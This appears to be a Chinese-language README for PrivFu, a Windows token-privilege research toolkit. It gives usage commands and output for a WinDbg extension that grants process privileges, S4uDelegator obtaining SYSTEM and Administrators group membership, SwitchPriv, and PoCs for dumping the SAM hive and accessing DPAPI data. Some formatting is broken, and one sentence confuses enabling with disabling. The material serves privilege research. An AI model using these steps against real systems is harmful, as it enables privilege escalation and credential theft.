PrivFu

内核模式 WinDbg 扩展及用于测试令牌权限如何工作的 PoC 示例。

有一些著名的关于令牌权限滥用的仓库和文章，例如 Grzegorz Tworek 的 Priv2Admin。本仓库中的代码旨在帮助研究令牌权限的工作机制。

ArtsOfGetSystem

返回顶部

项目

该项目涵盖了如何从高完整性级别 shell 获取系统权限。详见 README.md。

KernelWritePoCs

返回顶部

项目

此项目的目的是研究攻击者如何滥用任意内核写入漏洞。所有 PoC 均针对 HackSys 极端易受攻击驱动程序编写。大多数 PoC 通过滥用任意内核写入漏洞和令牌权限来获取 SYSTEM 完整性级别。已在 Windows 10 版本 1809/1903 上测试，但理论上应适用于大多数 Windows 10 版本：

PrivEditor

返回顶部

项目

警告

在某些环境中，Debug 构建可能无法正常工作。建议使用 Release 构建。

PrivEditor 是一个内核模式 WinDbg 扩展，用于操作特定进程的令牌权限。该扩展允许您轻松配置想要调查的令牌权限：``` 0: kd> .load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

PrivEditor - Kernel Mode WinDbg extension for token privilege edit.

Commands : + !getps : List processes in target system. + !getpriv : List privileges of a process. + !addpriv : Add privilege(s) to a process. + !rmpriv : Remove privilege(s) from a process. + !enablepriv : Enable privilege(s) of a process. + !disablepriv : Disable privilege(s) of a process. + !enableall : Enable all privileges available to a process. + !disableall : Disable all privileges available to a process.

[*] To see command help, execute "! help" or "! /?".

### getps 命令
该命令用于列出目标系统中的进程：```
0: kd> !getps /?

!getps - List processes in target system.

Usage : !getps [Process Name]

    Process Name : (OPTIONAL) Specifies filter string for process name.

如果你在没有任何参数的情况下执行此命令，该命令将列出目标系统中的所有进程，如下所示：``` 0: kd> !getps

 PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name

======== =================== ======================== ============ 0 0xfffff80581233630 0x0000000000000000 Idle 4 0xffffd60fec068380 0xffffaf00cec07a40 System 68 0xffffd60ff1780480 0xffffaf00d3b290a0 svchost.exe 88 0xffffd60fec0db080 0xffffaf00cec0d080 Registry 324 0xffffd60fef342040 0xffffaf00d0416080 smss.exe 348 0xffffd60ff052f100 0xffffaf00d25d30a0 dwm.exe 408 0xffffd60feca8e140 0xffffaf00d21bd930 csrss.exe 480 0xffffd60ff05a8340 0xffffaf00d2568670 svchost.exe 484 0xffffd60fefcd60c0 0xffffaf00d06430e0 wininit.exe 500 0xffffd60fefd130c0 0xffffaf00d23100a0 csrss.exe 580 0xffffd60fefdc0080 0xffffaf00d2266630 winlogon.exe

--snip--

如果你想知道特定进程，请按如下方式设置字符串过滤器。
该过滤器支持正向匹配且不区分大小写：```
0: kd> !getps micro

     PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
    4568 0xffffd60f`f14ed080      0xffffaf00`d3db60a0 MicrosoftEdge.exe
    4884 0xffffd60f`f1647080      0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
    4892 0xffffd60f`f1685080      0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe

getpriv 命令

此命令用于列出特定进程的令牌权限：``` 0: kd> !getpriv /?

!getpriv - List privileges of a process.

Usage : !getpriv

PID : Specifies target process ID.

要使用此命令，您需要按如下格式设置目标进程ID（十进制）：```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

addpriv Command

该命令用于向特定进程添加令牌权限：``` 0: kd> !addpriv /?

!addpriv - Add privilege(s) to a process.

Usage : !addpriv

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.
    + IncreaseQuota                  : SeIncreaseQuotaPrivilege.
    + MachineAccount                 : SeMachineAccountPrivilege.
    + Tcb                            : SeTcbPrivilege.
    + Security                       : SeSecurityPrivilege.
    + TakeOwnership                  : SeTakeOwnershipPrivilege.
    + LoadDriver                     : SeLoadDriverPrivilege.
    + SystemProfile                  : SeSystemProfilePrivilege.
    + Systemtime                     : SeSystemtimePrivilege.
    + ProfileSingleProcess           : SeProfileSingleProcessPrivilege.
    + IncreaseBasePriority           : SeIncreaseBasePriorityPrivilege.
    + CreatePagefile                 : SeCreatePagefilePrivilege.
    + CreatePermanent                : SeCreatePermanentPrivilege.
    + Backup                         : SeBackupPrivilege.
    + Restore                        : SeRestorePrivilege.
    + Shutdown                       : SeShutdownPrivilege.
    + Debug                          : SeDebugPrivilege.
    + Audit                          : SeAuditPrivilege.
    + SystemEnvironment              : SeSystemEnvironmentPrivilege.
    + ChangeNotify                   : SeChangeNotifyPrivilege.
    + RemoteShutdown                 : SeRemoteShutdownPrivilege.
    + Undock                         : SeUndockPrivilege.
    + SyncAgent                      : SeSyncAgentPrivilege.
    + EnableDelegation               : SeEnableDelegationPrivilege.
    + ManageVolume                   : SeManageVolumePrivilege.
    + Impersonate                    : SeImpersonatePrivilege.
    + CreateGlobal                   : SeCreateGlobalPrivilege.
    + TrustedCredManAccess           : SeTrustedCredManAccessPrivilege.
    + Relabel                        : SeRelabelPrivilege.
    + IncreaseWorkingSet             : SeIncreaseWorkingSetPrivilege.
    + TimeZone                       : SeTimeZonePrivilege.
    + CreateSymbolicLink             : SeCreateSymbolicLinkPrivilege.
    + DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
    + All                            : All privileges.

例如，如果你想给一个特定进程设置 SeDebugPrivilege，将目标进程 ID 作为第一个参数，并将帮助消息中列出的简写特权名称 `debug` 作为第二个参数，如下所示：```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

0: kd> !addpriv 5704 debug

[>] Trying to add SeDebugPrivilege.
[*] Done.

0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeDebugPrivilege                           Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

权限名称参数不区分大小写。

如果你想一次性添加所有令牌权限，请将 all 设置为权限名称参数：``` 0: kd> !addpriv 5704 all

[>] Trying to add all privileges. [*] Done.

0: kd> !getpriv 5704

Privilege Name State ========================================== ======== SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege Disabled SeIncreaseQuotaPrivilege Disabled SeMachineAccountPrivilege Disabled SeTcbPrivilege Disabled SeSecurityPrivilege Disabled

--snip--

### rmpriv 命令
该命令用于从特定进程中移除令牌权限：```
0: kd> !rmpriv /?

!rmpriv - Remove privilege(s) from a process.

Usage : !rmpriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

如果你想要移除 SeChangeNotifyPrivilege，请按如下方式执行此命令：``` 0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

0: kd> !rmpriv 352 changenotify

[>] Trying to remove SeChangeNotifyPrivilege. [*] Done.

0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

如同 `!addpriv` 命令，你可以通过将 `all` 设置为权限名称参数来一次性移除所有令牌权限：```
0: kd> !rmpriv 352 all

[>] Trying to remove all privileges.
[*] Done.

0: kd> !getpriv 352

Privilege Name                             State
========================================== ========

[*] PID                      : 352
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770

enablepriv Command

此命令用于启用指定进程的令牌特权：``` 0: kd> !enablepriv /?

!enablepriv - Enable privilege(s) of a process.

Usage : !enablepriv

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.

--snip--

第一个参数是进程ID，第二个参数是令牌权限名称：```
0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

0: kd> !enablepriv 1932 timezone

[>] Trying to enable SeTimeZonePrivilege.
[*] Done.

0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Enabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

如果你尝试启用尚未添加的权限，该命令会自动添加：``` 0: kd> !getpriv 1932

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !enablepriv 1932 debug

[] SeDebugPrivilege is not present. [>] Trying to add SeDebugPrivilege. [>] Trying to enable SeDebugPrivilege. [] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

### disablepriv 命令
此命令用于禁用特定进程的令牌特权：```
0: kd> !disablepriv /?

!disablepriv - Disable privilege(s) of a process.

Usage : !disablepriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

要使用此命令，请为第一个参数设置目标进程 ID，为第二个参数设置令牌权限名称：``` 0: kd> !getpriv 1932

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !disablepriv 1932 debug

[>] Trying to disable SeDebugPrivilege. [*] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

### enableall Command
此命令用于启用特定进程的所有可用令牌权限：```
0: kd> !enableall /?

!enableall - Enable all privileges available to a process.

Usage : !enableall <PID>

    PID       : Specifies target process ID.

工作原理如下：``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !enableall 3792

[>] Trying to enable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

### disableall Command
此命令用于禁用指定进程的所有令牌权限：```
0: kd> !disableall /?

!disableall - Disable all privileges available to a process.

Usage : !disableall <PID>

    PID : Specifies target process ID.

此命令相当于 !disablepriv <PID> all。工作方式如下：``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !disableall 3792

[>] Trying to disable all available privileges. [*] Done.

0: kd> !getpriv 3792

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

## PrivilegedOperations

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)

该项目是针对敏感令牌权限（如 `SeDebugPrivilege`）的 PoC。目前，只发布了其中一部分的 PoC。

| 程序名称 | 描述 |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | 此 PoC 尝试通过 `SeAuditPrivilegePoC` 创建新安全事件。`SeAuditPrivilege` 不需要高完整性级别，但此 PoC 在首次执行时需要管理员权限以安装新事件源。此外，为确认结果，此 PoC 可能需要修改本地安全策略设置。 |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | 此 PoC 尝试通过 `SeBackupPrivilege` 转储 `HKLM\SAM`。 |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | 此 PoC 尝试通过 `SeCreatePagefilePrivilege` 将页面文件选项设置为特定值。 |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | 此 PoC 尝试通过 `SeCreateTokenPrivilege` 创建提升的令牌。 |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | 此 PoC 尝试通过 `SeDebugPrivilege` 打开 winlogon.exe 的句柄。 |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | 此 PoC 尝试通过 `SeLockMemoryPrivilege` 分配大页面内存区域。 |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | 此 PoC 尝试通过 `SeRestorePrivilege` 在 `C:\Windows\System32\` 中写入测试文件。 |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | 此 PoC 尝试通过 `SeSecurityPrivilege` 读取最新的安全事件。 |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | 此 PoC 尝试通过 `SeShutdownPrivilege` 引发蓝屏死机（BSOD）。 |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | 此 PoC 尝试通过 `SeSystemEnvironmentPrivilege` 枚举系统环境。仅适用于基于 UEFI 的系统。由于操作系统功能限制，此 PoC 不适用于 Windows 10 Build 1809 之前的操作系统。 |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | 此 PoC 尝试通过 `SeTakeOwnershipPrivilege` 将 `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` 的所有者更改为调用用户账户。 |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | 此 PoC 尝试通过 `SeTcbPrivilege` 执行 S4U 登录以成为 `Builtin\Backup Operators`。 |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | 此 PoC 尝试通过 `SeTrustedCredManAccessPrivilege` 访问 DPAPI 数据块。 |

## S4uDelegator

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)

此工具用于在 SeTcbPrivilege 下执行 S4U 登录。使用此工具执行 S4U 登录需要管理员权限。```
PS C:\Tools> .\S4uDelegator.exe -h

S4uDelegator - Tool for S4U Logon.

Usage: S4uDelegator.exe [Options]

        -h, --help    : Displays this help message.
        -l, --lookup  : Flag to lookup account SID.
        -x, --execute : Flag to execute command.
        -c, --command : Specifies command to execute. Default is cmd.exe.
        -d, --domain  : Specifies domain name to lookup or S4U logon.
        -e, --extra   : Specifies group SIDs you want to add for S4U logon with comma separation.
        -n, --name    : Specifies account name to lookup or S4U logon.
        -s, --sid     : Specifies SID to lookup.

要使用此工具，必须指定 -l 或 -x 标志。
-l 标志用于查找账户信息，如下所示：``` PS C:\Tools> .\S4uDelegator.exe -l -d contoso -n "domain admins"

[] Account Name : CONTOSO\Domain Admins [] SID : S-1-5-21-3654360273-254804765-2004310818-512 [*] Account Type : Group

PS C:\Tools> .\S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736

[] Account Name : NT SERVICE\WinDefend [] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

要使用S4U登录执行命令，设置`-x`标志，并指定账户名称或SID如下。要执行的命令可以通过`-c`选项指定（默认为`cmd.exe`）：```
PS C:\Tools> whoami /user

USER INFORMATION
----------------

User Name    SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin

[*] S4U logon target information:
    [*] Account : CL01\admin
    [*] SID     : S-1-5-21-2659926013-4203293582-4033841475-500
    [*] UPN     : (Null)
    [*] Type    : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Tools>whoami /user

USER INFORMATION
----------------

User Name  SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500

如果你想添加额外的组信息，使用 -e 选项设置以逗号分隔的组SID值，如下所示：``` PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 PS C:\Tools> .\S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell

[] S4U logon target information: [] Account : CONTOSO\jeff [] SID : S-1-5-21-3654360273-254804765-2004310818-1105 [] UPN : [email protected] [] Type : User [>] Verifying extra group SID(s). [] BUILTIN\Administrators (SID : S-1-5-32-544) will be added as a group. [*] NT AUTHORITY\NETWORK SERVICE (SID : S-1-5-20) will be added as a group. [>] Trying to get SYSTEM. [+] Got SYSTEM privileges. [>] Trying to S4U logon. [+] S4U logon is successful. [>] Trying to create a token assigned process. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group CONTOSO\ServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group Mandatory Label\System Mandatory Level Label S-1-16-16384

> __警告__
>
> 如果您尝试使用无特权账户对目标机器进行S4U登录，将会收到错误`0xC0000142`（`STATUS_DLL_INIT_FAILED`），并且命令无法执行。要避免此问题，请使用`-e`选项将特权组添加为额外组。此外，某些账户不能指定为S4U登录的额外组（例如`NT SERVICE\TrustedInstaller`）。如果将这些组账户设置为额外组，S4U登录将失败，并显示错误`0x00000005`（`ERROR_ACCESS_DENIED`）。

## SwitchPriv

[返回顶部](#privfu)

[项目](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)

此工具用于启用或禁用进程的特定令牌特权：```
PS C:\Dev> .\SwitchPriv.exe -h

SwitchPriv - Tool to control token privileges.

Usage: SwitchPriv.exe [Options]

        -h, --help      : Displays this help message.
        -d, --disable   : Specifies token privilege to disable or "all".
        -e, --enable    : Specifies token privilege to enable or "all".
        -f, --filter    : Specifies token privilege you want to remain.
        -i, --integrity : Specifies integrity level to set in decimal value.
        -p, --pid       : Specifies the target PID. Default specifies PPID.
        -r, --remove    : Specifies token privilege to remove or "all".
        -s, --search    : Specifies token privilege to search.
        -g, --get       : Flag to get available privileges for the target process.
        -l, --list      : Flag to list values for --integrity options.
        -S, --system    : Flag to run as "NT AUTHORITY\SYSTEM".

要列出 --integrity 选项的值，请使用 --list 标志执行如下：``` PS C:\Dev> .\SwitchPriv.exe -l

Available values for --integrity option:

* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL

Example :

* Down a specific process' integrity level to Low.

    PS C:\> .\SwitchPriv.exe -p 4142 -s 1

Protected and Secure level should not be available, but left for research purpose.

目标进程的PID通过 `-p` 选项指定。  
你可以使用 `-g` 标志和 `-p` 选项列出目标进程的可用权限，如下所示：```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

当未指定 -p 选项时，PID 将是此工具的父进程 PID：``` PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 6772 [] Process Name : powershell [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================= SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

要控制的权限名称可以使用任何不区分大小写的字符串来指定，该字符串可以在目标进程的可用权限中唯一标识一个权限名称。
例如，要为目标进程启用 `SeUndockPrivilege`，请使用 `--enable` 选项执行，如下所示：```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und

[>] Trying to enable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

当你设置一个无法指定唯一权限名称的无效字符串时，你将收到以下消息：``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -e se

[>] Trying to enable a token privilege. [] Target PID : 9408 [] Process Name : Notepad [-] Cannot specify a unique privilege to enable. [] SeShutdownPrivilege [] SeChangeNotifyPrivilege [] SeUndockPrivilege [] SeIncreaseWorkingSetPrivilege [] SeTimeZonePrivilege [] Done.

例如，要启用SeChangeNotifyPrivilege，请使用`--disable`选项执行如下：```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan

[>] Trying to disable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= ==========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Disabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

要移除权限，请使用 --remove 选项如下：``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -r inc

[>] Trying to remove a token privilege. [] Target PID : 9408 [] Process Name : Notepad [+] SeIncreaseWorkingSetPrivilege is removed successfully. [*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 4 token privilege(s).

